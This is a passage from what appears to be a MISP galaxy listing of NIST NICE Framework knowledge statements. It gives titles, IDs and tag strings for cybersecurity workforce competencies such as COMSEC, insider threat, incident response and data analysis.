The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target communications tools and techniques - K1230"*

Knowledge of Communications Security (COMSEC) policies and procedures - K0671

Knowledge of Communications Security (COMSEC) policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Communications Security (COMSEC) policies and procedures - K0671"*

Knowledge of the Communications Security (COMSEC) Material Control System (CMCS) - K0672

Knowledge of the Communications Security (COMSEC) Material Control System (CMCS)

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of the Communications Security (COMSEC) Material Control System (CMCS) - K0672"*

Knowledge of types of Communications Security (COMSEC) incidents - K0673

Knowledge of types of Communications Security (COMSEC) incidents

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of types of Communications Security*

(COMSEC) incidents - K0673"

Knowledge of program management principles and practices - K0798

Knowledge of program management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of program management principles and practices - K0798"*

Knowledge of mission assurance practices and principles - K1171

Knowledge of mission assurance practices and principles

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of mission assurance practices and principles - K1171"*

Knowledge of organization’s security strategy - K1179

Knowledge of organization’s security strategy

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organization’s security strategy - K1179"*

Knowledge of industry indicators - K0943

Knowledge of industry indicators

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of industry indicators - K0943"*

Knowledge of organizational cybersecurity policies and procedures - K1183

Knowledge of organizational cybersecurity policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational cybersecurity policies and procedures - K1183"*

Knowledge of organizational human resource (HR) policies and procedures - K1186

Knowledge of organizational human resource (HR) policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational human resource*

(HR) policies and procedures - K1186"

Knowledge of research and design processes and procedures - K1206

Knowledge of research and design processes and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of research and design processes and procedures - K1206"*

Knowledge of the organizational cybersecurity workforce - K0640

Knowledge of the organizational cybersecurity workforce

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of the organizational cybersecurity workforce - K0640"*

Knowledge of career paths - K0648

Knowledge of career paths

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of career paths - K0648"*

Knowledge of organizational career progressions - K0649

Knowledge of organizational career progressions

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational career progressions - K0649"*

Knowledge of workforce trends - K0652

Knowledge of workforce trends

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of workforce trends - K0652"*

Knowledge of resource management principles and practices - K0754

Knowledge of resource management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of resource management principles and practices - K0754"*

Knowledge of training policies and procedures - K0887

Knowledge of training policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of training policies and procedures - K0887"*

Knowledge of training systems and software - K0893

Knowledge of training systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of training systems and software - K0893"*

Knowledge of the NIST Workforce Framework for Cybersecurity (NICE Framework) - K0902

Knowledge of the NIST Workforce Framework for Cybersecurity (NICE Framework)

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of the NIST Workforce Framework for Cybersecurity (NICE Framework) - K0902"*

Knowledge of human resources policies and procedures - K0908

Knowledge of human resources policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of human resources policies and procedures - K0908"*

Knowledge of personnel systems and software - K1098

Knowledge of personnel systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of personnel systems and software - K1098"*

Knowledge of cybersecurity workforce policies and procedures - K1140

Knowledge of cybersecurity workforce policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity workforce policies and procedures - K1140"*

Knowledge of organizational cybersecurity workforce requirements - K1184

Knowledge of organizational cybersecurity workforce requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational cybersecurity workforce requirements - K1184"*

Knowledge of intelligence processes - K1058

Knowledge of intelligence processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence processes - K1058"*

Knowledge of priority intelligence collection requirements - K1196

Knowledge of priority intelligence collection requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of priority intelligence collection requirements - K1196"*

Knowledge of service desk principles and practices - K0903

Knowledge of service desk principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of service desk principles and practices - K0903"*

Knowledge of remote access tools and techniques - K0911

Knowledge of remote access tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of remote access tools and techniques - K0911"*

Knowledge of software, hardware, and peripheral equipment repair tools and techniques - K1090

Knowledge of software, hardware, and peripheral equipment repair tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software, hardware, and peripheral equipment repair tools and techniques - K1090"*

Knowledge of asset management policies and procedures - K1112

Knowledge of asset management policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of asset management policies and procedures - K1112"*

Knowledge of customer experience principles and practices - K1127

Knowledge of customer experience principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of customer experience principles and practices - K1127"*

Knowledge of Voice over IP (VoIP) - K0159

Knowledge of Voice over IP (VoIP)

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Voice over IP (VoIP) - K0159"*

Knowledge of system performance indicators - K0740

Knowledge of system performance indicators

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system performance indicators - K0740"*

Knowledge of system availability measures - K0741

Knowledge of system availability measures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system availability measures - K0741"*

Knowledge of credential management systems and software - K0930

Knowledge of credential management systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of credential management systems and software - K0930"*

Knowledge of data-at-rest encryption (DARE) standards and best practices - K0931

Knowledge of data-at-rest encryption (DARE) standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data-at-rest encryption (DARE) standards and best practices - K0931"*

Knowledge of cryptographic key storage systems and software - K0932

Knowledge of cryptographic key storage systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cryptographic key storage systems and software - K0932"*

Knowledge of system availability requirements - K1222

Knowledge of system availability requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system availability requirements - K1222"*

Knowledge of intelligence collection tasking tools and techniques - K0972

Knowledge of intelligence collection tasking tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection tasking tools and techniques - K0972"*

Knowledge of intelligence collection principles and practices - K0976

Knowledge of intelligence collection principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection principles and practices - K0976"*

Knowledge of resource and asset readiness reporting policies and procedures - K1021

Knowledge of resource and asset readiness reporting policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of resource and asset readiness*

reporting policies and procedures - K1021"

Knowledge of requirements submission processes - K1026

Knowledge of requirements submission processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of requirements submission processes - K1026"*

Knowledge of production exploitation principles and practices - K1029

Knowledge of production exploitation principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of production exploitation principles and practices - K1029"*

Knowledge of tasking processes - K1045

Knowledge of tasking processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of tasking processes - K1045"*

Knowledge of intelligence collection requirements tools and techniques - K1048

Knowledge of intelligence collection requirements tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection requirements tools and techniques - K1048"*

Knowledge of the Tasking, Collection, Processing, Exploitation and Dissemination (TCPED) process - K1052

Knowledge of the Tasking, Collection, Processing, Exploitation and Dissemination (TCPED) process

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of the Tasking, Collection, Processing, Exploitation and Dissemination (TCPED) process - K1052"*

Knowledge of intelligence collection authority policies and procedures - K1060

Knowledge of intelligence collection authority policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection authority policies and procedures - K1060"*

Knowledge of environment preparation tools and techniques - K1061

Knowledge of environment preparation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of environment preparation tools and techniques - K1061"*

Knowledge of surveillance tools and techniques - K1062

Knowledge of surveillance tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of surveillance tools and techniques - K1062"*

Knowledge of operational environment risks - K1178

Knowledge of operational environment risks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of operational environment risks - K1178"*

Knowledge of priority information requirements - K1195

Knowledge of priority information requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of priority information requirements - K1195"*

Knowledge of data concealment tools and techniques - K0941

Knowledge of data concealment tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data concealment tools and*

techniques - K0941"

Knowledge of data encryption practices and principles - K1145

Knowledge of data encryption practices and principles

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data encryption practices and principles - K1145"*

Knowledge of steganography practices and principles - K1220

Knowledge of steganography practices and principles

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of steganography practices and principles - K1220"*

Knowledge of blue force tracking - K1113

Knowledge of blue force tracking

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of blue force tracking - K1113"*

Knowledge of cybersecurity standards and best practices - K1138

Knowledge of cybersecurity standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity standards and best practices - K1138"*

Knowledge of data visualization tools and techniques - K0647

Knowledge of data visualization tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data visualization tools and techniques - K0647"*

Knowledge of data administration policies and procedures - K0699

Knowledge of data administration policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data administration policies and procedures - K0699"*

Knowledge of data standardization policies and procedures - K0700

Knowledge of data standardization policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data standardization policies and procedures - K0700"*

Knowledge of database management system (DBMS) principles and practices - K0704

Knowledge of database management system (DBMS) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of database management system (DBMS) principles and practices - K0704"*

Knowledge of database query language capabilities and applications - K0705

Knowledge of database query language capabilities and applications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of database query language capabilities and applications - K0705"*

Knowledge of database schema capabilities and applications - K0706

Knowledge of database schema capabilities and applications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of database schema capabilities and applications - K0706"*

Knowledge of digital rights management (DRM) tools and techniques - K0708

Knowledge of digital rights management (DRM) tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital rights management (DRM) tools and techniques - K0708"*

Knowledge of query languages - K0750

Knowledge of query languages

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of query languages - K0750"*

Knowledge of database application programming interfaces (APIs) - K0867

Knowledge of database application programming interfaces (APIs)

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of database application programming interfaces (APIs) - K0867"*

Knowledge of logging tools and technologies - K0897

Knowledge of logging tools and technologies

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of logging tools and technologies - K0897"*

Knowledge of machine learning principles and practices - K0904

Knowledge of machine learning principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of machine learning principles and practices - K0904"*

Knowledge of hexadecimal data - K1094

Knowledge of hexadecimal data

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of hexadecimal data - K1094"*

Knowledge of data mapping tools and techniques - K1097

Knowledge of data mapping tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data mapping tools and techniques - K1097"*

Knowledge of data gathering tools and techniques - K1146

Knowledge of data gathering tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data gathering tools and techniques - K1146"*

Knowledge of statistical processes - K1219

Knowledge of statistical processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of statistical processes - K1219"*

Knowledge of UNIX scripts - K1233

Knowledge of UNIX scripts

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of UNIX scripts - K1233"*

Knowledge of Windows scripts - K1238

Knowledge of Windows scripts

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Windows scripts - K1238"*

Knowledge of data storage media characteristics - K0777

Knowledge of data storage media characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data storage media characteristics - K0777"*

Knowledge of capacity management - K1114

Knowledge of capacity management

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of capacity management - K1114"*

Knowledge of configuration management - K1121

Knowledge of configuration management

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of configuration management - K1121"*

Knowledge of financial management - K1161

Knowledge of financial management

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of financial management - K1161"*

Knowledge of content creation tools and techniques - K0774

Knowledge of content creation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of content creation tools and techniques - K0774"*

Knowledge of collaboration tools and techniques - K0776

Knowledge of collaboration tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of collaboration tools and techniques - K0776"*

Knowledge of cloud computing principles and practices - K0863

Knowledge of cloud computing principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cloud computing principles and practices - K0863"*

Knowledge of knowledge management principles and practices - K0864

Knowledge of knowledge management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of knowledge management principles and practices - K0864"*

Knowledge of taxonomy models and frameworks - K0895

Knowledge of taxonomy models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of taxonomy models and frameworks - K0895"*

Knowledge of semantic ontology models and frameworks - K0896

Knowledge of semantic ontology models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of semantic ontology models and frameworks - K0896"*

Knowledge of content synchronization tools and techniques - K0929

Knowledge of content synchronization tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of content synchronization tools and techniques - K0929"*

Knowledge of performance tuning tools and techniques - K0064

Knowledge of performance tuning tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of performance tuning tools and techniques - K0064"*

Knowledge of standard operating procedures (SOPs) - K0645

Knowledge of standard operating procedures (SOPs)

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of standard operating procedures (SOPs) - K0645"*

Knowledge of incident, event, and problem management policies and procedures - K0935

Knowledge of incident, event, and problem management policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of incident, event, and problem management policies and procedures - K0935"*

Knowledge of incident reporting policies and procedures - K0946

Knowledge of incident reporting policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of incident reporting policies and procedures - K0946"*

Knowledge of system integration principles and practices - K0958

Knowledge of system integration principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system integration principles and practices - K0958"*

Knowledge of automated security control testing tools and techniques - K1072

Knowledge of automated security control testing tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of automated security control testing tools and techniques - K1072"*

Knowledge of systems administration standard operating policies and procedures - K1226

Knowledge of systems administration standard operating policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of systems administration standard operating policies and procedures - K1226"*

Knowledge of cloud service models and frameworks - K0898

Knowledge of cloud service models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cloud service models and frameworks - K0898"*

Knowledge of web filtering systems and software - K0811

Knowledge of web filtering systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of web filtering systems and software - K0811"*

Knowledge of NIST Risk Management Framework authorization requirements - K1177

Knowledge of NIST Risk Management Framework authorization requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of NIST Risk Management Framework authorization requirements - K1177"*

Knowledge of security assessment authorization requirements - K1211

Knowledge of security assessment authorization requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of security assessment authorization requirements - K1211"*

Knowledge of Virtual Private Network (VPN) devices - K1237

Knowledge of Virtual Private Network (VPN) devices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Virtual Private Network (VPN) devices - K1237"*

Knowledge of risk scoring principles and practices - K1076

Knowledge of risk scoring principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk scoring principles and practices - K1076"*

Knowledge of social engineering tools and techniques - K1087

Knowledge of social engineering tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of social engineering tools and techniques - K1087"*

Knowledge of cyber defense auditing laws and regulations - K1129

Knowledge of cyber defense auditing laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber defense auditing laws and regulations - K1129"*

Knowledge of cyber defense auditing policies and practices - K1130

Knowledge of cyber defense auditing policies and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber defense auditing policies and practices - K1130"*

Knowledge of organizational cybersecurity policies and configurations - K1182

Knowledge of organizational cybersecurity policies and configurations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational cybersecurity policies and configurations - K1182"*

Knowledge of data remediation tools and techniques - K0862

Knowledge of data remediation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data remediation tools and techniques - K0862"*

Knowledge of abnormal physical and physiological behaviors - K0909

Knowledge of abnormal physical and physiological behaviors

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of abnormal physical and physiological behaviors - K0909"*

Knowledge of risk mitigation tools and techniques - K1031

Knowledge of risk mitigation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk mitigation tools and techniques - K1031"*

Knowledge of data analysis tools and techniques - K1096

Knowledge of data analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data analysis tools and techniques - K1096"*

Knowledge of cybersecurity threats and vulnerabilities - K1139

Knowledge of cybersecurity threats and vulnerabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity threats and vulnerabilities - K1139"*

Knowledge of organizational cybersecurity goals and objectives - K1180

Knowledge of organizational cybersecurity goals and objectives

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational cybersecurity goals and objectives - K1180"*

Knowledge of organizational policies and procedures - K1188

Knowledge of organizational policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational policies and procedures - K1188"*

Knowledge of risk mitigation principles and practices - K1209

Knowledge of risk mitigation principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk mitigation principles and practices - K1209"*

Knowledge of cultural, political, and organizational assets - K1241

Knowledge of cultural, political, and organizational assets

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cultural, political, and organizational assets - K1241"*

Knowledge of cybersecurity review processes and procedures - K1242

Knowledge of cybersecurity review processes and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity review processes and procedures - K1242"*

Knowledge of cybersecurity threat remediation principles and practices - K1243

Knowledge of cybersecurity threat remediation principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity threat remediation principles and practices - K1243"*

Knowledge of cybersecurity tools and techniques - K1244

Knowledge of cybersecurity tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity tools and techniques - K1244"*

Knowledge of data exfiltration tools and techniques - K1245

Knowledge of data exfiltration tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data exfiltration tools and techniques - K1245"*

Knowledge of data handling tools and techniques - K1246

Knowledge of data handling tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data handling tools and techniques - K1246"*

Knowledge of data monitoring tools and techniques - K1247

Knowledge of data monitoring tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data monitoring tools and techniques - K1247"*

Knowledge of digital and physical security vulnerabilities - K1248

Knowledge of digital and physical security vulnerabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital and physical security vulnerabilities - K1248"*

Knowledge of digital and physical security vulnerability remediation principles and practices - K1249

Knowledge of digital and physical security vulnerability remediation principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital and physical security vulnerability remediation principles and practices - K1249"*

Knowledge of external organization roles and responsibilities - K1250

Knowledge of external organization roles and responsibilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of external organization roles and responsibilities - K1250"*

Knowledge of external referrals policies and procedures - K1251

Knowledge of external referrals policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of external referrals policies and procedures - K1251"*

Knowledge of high value asset characteristics - K1252

Knowledge of high value asset characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of high value asset characteristics - K1252"*

Knowledge of information collection tools and techniques - K1253

Knowledge of information collection tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information collection tools and techniques - K1253"*

Knowledge of insider threat hub policies and procedures - K1254

Knowledge of insider threat hub policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of insider threat hub policies and procedures - K1254"*

Knowledge of insider threat hub operations - K1255

Knowledge of insider threat hub operations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of insider threat hub operations - K1255"*

Knowledge of insider threat operational indicators - K1256

Knowledge of insider threat operational indicators

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of insider threat operational indicators - K1256"*

Knowledge of insider threat policies and procedures - K1257

Knowledge of insider threat policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of insider threat policies and procedures - K1257"*

Knowledge of insider threat tactics - K1258

Knowledge of insider threat tactics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of insider threat tactics - K1258"*

Knowledge of insider threat targets - K1259

Knowledge of insider threat targets

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of insider threat targets - K1259"*

Knowledge of intelligence laws and regulations - K1260

Knowledge of intelligence laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence laws and regulations - K1260"*

Knowledge of known insider attacks - K1261

Knowledge of known insider attacks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of known insider attacks - K1261"*

Knowledge of network endpoints - K1262

Knowledge of network endpoints

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network endpoints - K1262"*

Knowledge of notification policies and procedures - K1263

Knowledge of notification policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of notification policies and procedures - K1263"*

Knowledge of organizational objectives, resources, and capabilities - K1265

Knowledge of organizational objectives, resources, and capabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational objectives, resources, and capabilities - K1265"*

Knowledge of previously referred potential insider threats - K1267

Knowledge of previously referred potential insider threats

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of previously referred potential insider threats - K1267"*

Knowledge of risk reduction metrics - K1268

Knowledge of risk reduction metrics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk reduction metrics - K1268"*

Knowledge of security information and event management (SIEM) tools and techniques - K1269

Knowledge of security information and event management (SIEM) tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of security information and event management (SIEM) tools and techniques - K1269"*

Knowledge of suspicious activity response processes - K1270

Knowledge of suspicious activity response processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of suspicious activity response processes - K1270"*

Knowledge of system alert policies and procedures - K1271

Knowledge of system alert policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system alert policies and procedures - K1271"*

Knowledge of system components - K1272

Knowledge of system components

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system components - K1272"*

Knowledge of threat investigation policies and procedures - K1273

Knowledge of threat investigation policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of threat investigation policies and procedures - K1273"*

Knowledge of threat modeling tools and techniques - K1274

Knowledge of threat modeling tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of threat modeling tools and techniques - K1274"*

Knowledge of User Activity Monitoring (UAM) tools and techniques - K1275

Knowledge of User Activity Monitoring (UAM) tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of User Activity Monitoring (UAM) tools and techniques - K1275"*

Knowledge of vulnerability data sources - K0723

Knowledge of vulnerability data sources

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of vulnerability data sources - K0723"*

Knowledge of incident response principles and practices - K0724

Knowledge of incident response principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of incident response principles and practices - K0724"*

Knowledge of incident response tools and techniques - K0725

Knowledge of incident response tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of incident response tools and*

techniques - K0725"

Knowledge of incident handling tools and techniques - K0726

Knowledge of incident handling tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of incident handling tools and techniques - K0726"*

Knowledge of virtual private network (VPN) systems and software - K0781

Knowledge of virtual private network (VPN) systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of virtual private network (VPN) systems and software - K0781"*

Knowledge of network attack characteristics - K0783

Knowledge of network attack characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network attack characteristics - K0783"*

Knowledge of file extensions - K0793

Knowledge of file extensions

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of file extensions - K0793"*

Knowledge of command-line tools and techniques - K0805

Knowledge of command-line tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of command-line tools and techniques - K0805"*

Knowledge of account creation policies and procedures - K0829

Knowledge of account creation policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of account creation policies and*

procedures - K0829"

Knowledge of password policies and procedures - K0830

Knowledge of password policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of password policies and procedures - K0830"*

Knowledge of cyberattack characteristics - K0832

Knowledge of cyberattack characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyberattack characteristics - K0832"*

Knowledge of cyberattack actor characteristics - K0833

Knowledge of cyberattack actor characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyberattack actor characteristics - K0833"*

Knowledge of network port capabilities and applications - K0861

Knowledge of network port capabilities and applications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network port capabilities and applications - K0861"*

Knowledge of network mapping principles and practices - K0938

Knowledge of network mapping principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network mapping principles and practices - K0938"*

Knowledge of packet-level analysis tools and techniques - K0939

Knowledge of packet-level analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of packet-level analysis tools and techniques - K0939"*

Knowledge of subnet tools and techniques - K0940

Knowledge of subnet tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of subnet tools and techniques - K0940"*

Knowledge of Intrusion Detection System (IDS) tools and techniques - K0950

Knowledge of Intrusion Detection System (IDS) tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Intrusion Detection System (IDS) tools and techniques - K0950"*

Knowledge of Intrusion Prevention System (IPS) tools and techniques - K0951

Knowledge of Intrusion Prevention System (IPS) tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Intrusion Prevention System (IPS) tools and techniques - K0951"*

Knowledge of protocol analyzer tools and techniques - K1089

Knowledge of protocol analyzer tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of protocol analyzer tools and techniques - K1089"*

Knowledge of cyber defense monitoring tools - K1131

Knowledge of cyber defense monitoring tools

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber defense monitoring tools - K1131"*

Knowledge of cyber defense system analysis tools - K1132

Knowledge of cyber defense system analysis tools

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber defense system analysis tools - K1132"*

Knowledge of data correlation tools and techniques - K1144

Knowledge of data correlation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data correlation tools and techniques - K1144"*

Knowledge of intrusion set tools and techniques - K1168

Knowledge of intrusion set tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intrusion set tools and techniques - K1168"*

Knowledge of network topologies - K1176

Knowledge of network topologies

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network topologies - K1176"*

Knowledge of organizational cybersecurity incident response plans - K1181

Knowledge of organizational cybersecurity incident response plans

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational cybersecurity incident response plans - K1181"*

Knowledge of packet analysis tools and techniques - K1193

Knowledge of packet analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of packet analysis tools and techniques - K1193"*

Knowledge of server diagnostic tools and techniques - K0760

Knowledge of server diagnostic tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of server diagnostic tools and techniques - K0760"*

Knowledge of Fault Detection and Diagnostics (FDD) tools and techniques - K0761

Knowledge of Fault Detection and Diagnostics (FDD) tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Fault Detection and Diagnostics (FDD) tools and techniques - K0761"*

Knowledge of file system implementation principles and practices - K0794

Knowledge of file system implementation principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of file system implementation principles and practices - K0794"*

Knowledge of digital evidence seizure policies and procedures - K0795

